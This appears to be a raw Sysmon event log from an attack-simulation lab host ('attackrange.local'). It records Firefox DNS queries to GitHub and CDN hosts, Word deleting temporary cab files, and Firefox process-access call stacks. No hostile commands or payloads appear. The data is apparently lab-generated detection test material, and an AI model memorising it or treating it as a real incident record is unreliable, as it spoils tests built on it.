22542200x800000000000000051163Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.783{7BD73061-728D-613B-560B-00000000F001}4776part-0017.t-0009.t-msedge.net013.107.213.45;13.107.246.45;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000051162Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.782{7BD73061-728D-613B-560B-00000000F001}4776github.com9501-C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000051161Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.779{7BD73061-728D-613B-560B-00000000F001}4776github.com0140.82.121.3;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000051160Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.778{7BD73061-728D-613B-560B-00000000F001}4776github.com0::ffff:140.82.121.3;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000051159Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.658{7BD73061-728D-613B-560B-00000000F001}4776e13630.dscb.akamaiedge.net02a02:26f0:1700:1b0::353e;2a02:26f0:1700:195::353e;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000051158Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.655{7BD73061-728D-613B-560B-00000000F001}4776e13630.dscb.akamaiedge.net023.45.97.32;C:\Program Files\Mozilla Firefox\firefox.exe 23542300x800000000000000051157Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.891{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7D56.tmp\content.infMD5=0FEA64606C519B78B7A52639FEA11492,SHA256=60059C4DD87A74A2DC36748941CF5A421ED394368E0AA19ACA90D850FA6E4A13,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051156Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.889{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7CD9.tmpMD5=BEB12A0464D096CA33BAEA4352CE800F,SHA256=A44166F5C9F2553555A43586BA5DB1C1DE54D72D308A48268F27C6A00076B1CA,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051155Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.882{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7D08.tmpMD5=9C9F49A47222C18025CC25575337A965,SHA256=ADA7EFF0676D9CCE1935D5485F3DDE35C594D343658FB1DA42CB5A48FC3FC16A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051154Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.873{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7CF4.tmpMD5=828F96031F40BF8EBCB5E52AAEEB7E4C,SHA256=640AD075B555D4A2143F909EAFD91F54076F5DDE42A2B11CD897BC564B5D7FF7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051153Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.867{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7CD7.tmpMD5=E1101CCA6E3FEDB28B57AF4C41B50D37,SHA256=69B2675E47917A9469F771D0C634BD62B2DFA0F5D4AF3FD7AFE9196BF889C19E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051152Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.859{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7CF2.tmpMD5=D4EAC009E9E7B64B8B001AE82B8102FA,SHA256=8B0631DA4DC79E036251379A0A68C3BA977F14BCC797BA0EB9692F8BB90DDB4D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051151Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.858{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7CEF.tmpMD5=E29CE2663A56A1444EAA3732FFB82940,SHA256=3732EB6166945DB2BF792DA04199B5C4A0FB3C96621ECBFDEAF2EA1699BA88EE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051150Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.853{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7D44.tmp\content.infMD5=C9812793A4E94320C49C7CA054EE6AA4,SHA256=A535AE7DD5EDA6D31E1B5053E64D0D7600A7805C6C8F8AF1DB65451822848FFC,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000051149Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.852{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b5c4e8|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000051148Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.849{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7D2E.tmp\Content.infMD5=55BA5B2974A072B131249FD9FD42EB91,SHA256=13FFAAFFC987BAAEF7833CD6A8994E504873290395DC2BD9B8E1D7E7E64199E7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051147Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.849{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7D55.tmp\content.infMD5=06B3DDEFF905F75FA5FA5C5B70DCB938,SHA256=72D49BDDE44DAE251AEADF963C336F72FA870C969766A2BB343951E756B3C28A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051146Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.848{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7C04.tmpMD5=748A53C6BDD5CE97BD54A76C7A334286,SHA256=9AF92B1671772E8E781B58217DAB481F0AFBCF646DE36BC1BFFC7D411D14E351,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051145Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.848{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7D43.tmp\content.infMD5=AA7B919B21FD42C457948DE1E2988CB3,SHA256=5FFF5F1EC1686C138192317D5A67E22A6B02E5AAE89D73D4B19A492C2F5BE2F9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051144Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.848{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7D2F.tmp\content.infMD5=8D1E1991838307E4C2197ECB5BA9FA79,SHA256=4ABA3D10F65D050A19A3C2F57A024DBA342D1E05706A8A3F66B6B8E16A980DB9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051143Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.847{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7D33.tmp\content.infMD5=5402138088A9CF0993C08A0CA81287B8,SHA256=5C9F5E03EEA4415043E65172AD2729F34BBBFC1A1156A630C65A71CE578EF137,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051142Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.847{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7CC6.tmpMD5=26BEAB9CCEAFE4FBF0B7C0362681A9D2,SHA256=217EC1B6E00A24583B166026DEC480D447FB564CF3BCA81984684648C272F767,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051141Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.847{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7CC9.tmpMD5=F93364EEC6C4FFA5768DE545A2C34F07,SHA256=296B915148B29751E68687AE37D3FAFD9FFDDF458C48EB059A964D8F2291E899,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051140Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.846{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7CC8.tmpMD5=1C12315C862A745A647DAD546EB4267E,SHA256=4E2E93EBAC4AD3F8690B020040D1AE3F8E7905AB7286FC25671E07AA0282CAC0,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051139Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.846{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7CD8.tmpMD5=93FA9F779520AB2D22AC4EA864B7BB34,SHA256=6A3801C1D4CF0C19A990282D93AC16007F6CACB645F0E0684EF2EDAC02647833,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051138Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.846{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7D32.tmp\content.infMD5=40FF521ED2BA1B015F17F0B0E5D95068,SHA256=CC3575BA195F0F271FFEBA6F6634BC9A2CF5F3BE448F58DBC002907D7C81CBBB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051137Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.846{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7C24.tmpMD5=84D8F3848E7424CBE3801F9570E05018,SHA256=B4BC3CD34BD328AAF68289CC0ED4D5CF8167F1EE1D7BE20232ED4747FF96A80A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051136Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.846{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7C65.tmpMD5=65828DC7BE8BA1CE61AD7142252ACC54,SHA256=849E2E915AA61E2F831E54F337A745A5946467D539CCBD0214B4742F4E7E94FF,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051135Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.845{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7D2C.tmp\content.infMD5=327DA4A5C757C0F1449976BE82653129,SHA256=341BABD413AA5E8F0A921AC309A8C760A4E9BA9CFF3CAD3FB2DD9DF70FD257A6,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051134Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.844{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7D2B.tmp\content.infMD5=CD465E8DA15E26569897213CA9F6BC9C,SHA256=D4109317C2DBA1D7A94FC1A4B23FA51F4D0FC8E1D9433697AAFA72E335192610,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051133Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.840{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7CC5.tmpMD5=21A4B7B71631C2CCDA5FBBA63751F0D2,SHA256=AE0C5A2C8377DBA613C576B1FF73F01AE8EF4A3A4A10B078B5752FB712B3776C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051132Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.840{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7C45.tmpMD5=9A07035EF802BF89F6ED254D0DB02AB0,SHA256=6CB03CEBAB2C28BF5318B13EEEE49FBED8DCEDAF771DE78126D1BFE9BD81C674,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051131Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.840{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7D2D.tmp\content.infMD5=1C5D58A5ED3B40486BC22B254D17D1DD,SHA256=EBE031C340F04BB0235FE62C5A675CF65C5CC8CE908F4621A4F5D7EE85F83055,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051130Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.838{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7BBC.tmpMD5=F10DF902980F1D5BEEA96B2C668408A7,SHA256=E0100320A4F63E07C77138A89EA24A1CBD69784A89FE3BF83E35576114B4CE02,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051129Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.838{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7C02.tmpMD5=97F5B7B7E9E1281999468A5C42CB12E7,SHA256=1CF5C2D0F6188FFFF117932C424CC55D1459E0852564C09D7779263ABD116118,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051128Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.837{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7BF0.tmpMD5=8B29FAB506FD65C21C9CD6FE6BBBC146,SHA256=773AC516C9B9B28058128EC9BE099F817F3F90211AC70DC68077599929683D6F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051127Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.837{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7BF1.tmpMD5=0EBC45AA0E67CC435D0745438371F948,SHA256=3744BFA286CFCFF46E51E6A68823A23F55416CD6619156B5929FED1F7778F1C7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051126Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.835{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7B68.tmpMD5=89A9818E6658D73A73B642522FF8701F,SHA256=F747DD8B79FC69217FA3E36FAE0AB417C1A0759C28C2C4F8B7450C70171228E6,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000051125Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.832{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+3a4121|C:\Program Files\Mozilla Firefox\xul.dll+3a3ca4|C:\Program Files\Mozilla Firefox\xul.dll+3a3b48|C:\Program Files\Mozilla Firefox\xul.dll+c0467b|C:\Program Files\Mozilla Firefox\xul.dll+bfd432|C:\Program Files\Mozilla Firefox\xul.dll+27ac2ad|C:\Program Files\Mozilla Firefox\xul.dll+c057d6|C:\Program Files\Mozilla Firefox\xul.dll+bfe95b|C:\Program Files\Mozilla Firefox\xul.dll+39647b|C:\Program Files\Mozilla Firefox\xul.dll+c00578|C:\Program Files\Mozilla Firefox\xul.dll+27ad51e|C:\Program Files\Mozilla Firefox\xul.dll+27ad2b4|C:\Program Files\Mozilla Firefox\xul.dll+c06a32|C:\Program Files\Mozilla Firefox\xul.dll+c007d9|C:\Program Files\Mozilla Firefox\xul.dll+39647b 10341000x800000000000000051124Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.832{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+3a4121|C:\Program Files\Mozilla Firefox\xul.dll+3a3ca4|C:\Program Files\Mozilla Firefox\xul.dll+3a3b48|C:\Program Files\Mozilla Firefox\xul.dll+c0467b|C:\Program Files\Mozilla Firefox\xul.dll+bfd432|C:\Program Files\Mozilla Firefox\xul.dll+27ac2ad|C:\Program Files\Mozilla Firefox\xul.dll+c057d6|C:\Program Files\Mozilla Firefox\xul.dll+bfe95b|C:\Program Files\Mozilla Firefox\xul.dll+39647b|C:\Program Files\Mozilla Firefox\xul.dll+c00578|C:\Program Files\Mozilla Firefox\xul.dll+27ad51e|C:\Program Files\Mozilla Firefox\xul.dll+27ad2b4|C:\Program Files\Mozilla Firefox\xul.dll+c06a32|C:\Program Files\Mozilla Firefox\xul.dll+c007d9|C:\Program Files\Mozilla Firefox\xul.dll+39647b 10341000x800000000000000051123Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.832{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+3a4121|C:\Program Files\Mozilla Firefox\xul.dll+3a3ca4|C:\Program Files\Mozilla Firefox\xul.dll+3a3b48|C:\Program Files\Mozilla Firefox\xul.dll+c0467b|C:\Program Files\Mozilla Firefox\xul.dll+bfd432|C:\Program Files\Mozilla Firefox\xul.dll+27ac2ad|C:\Program Files\Mozilla Firefox\xul.dll+c057d6|C:\Program Files\Mozilla Firefox\xul.dll+bfe95b|C:\Program Files\Mozilla Firefox\xul.dll+39647b|C:\Program Files\Mozilla Firefox\xul.dll+c00578|C:\Program Files\Mozilla Firefox\xul.dll+27ad51e|C:\Program Files\Mozilla Firefox\xul.dll+27ad2b4|C:\Program Files\Mozilla Firefox\xul.dll+c06a32|C:\Program Files\Mozilla Firefox\xul.dll+c007d9|C:\Program Files\Mozilla Firefox\xul.dll+39647b 23542300x800000000000000051122Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.828{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7D19.tmp\content.infMD5=960E28B1E0AB3522A8A8558C02694ECF,SHA256=2707FCA8CEC54DF696F19F7BCAD5F0D824A2AC01B73815DE58F3FCF0AAB3F6A0,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000051121Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.825{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051120Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.825{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000051119Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.824{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7BBB.tmpMD5=EF9CB8BDFBC08F03BEF519AD66BA642F,SHA256=93A2F873ACF5BEAD4BC0D1CC17B5E89A928D63619F70A1918B29E5230ABEAD8E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051118Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.824{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7BF2.tmpMD5=21437897C9B88AC2CB2BB2FEF922D191,SHA256=372572DCBAD590F64F5D18727757CBDF9366DDE90955C79A0FCC9F536DAB0384,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000051117Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.824{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 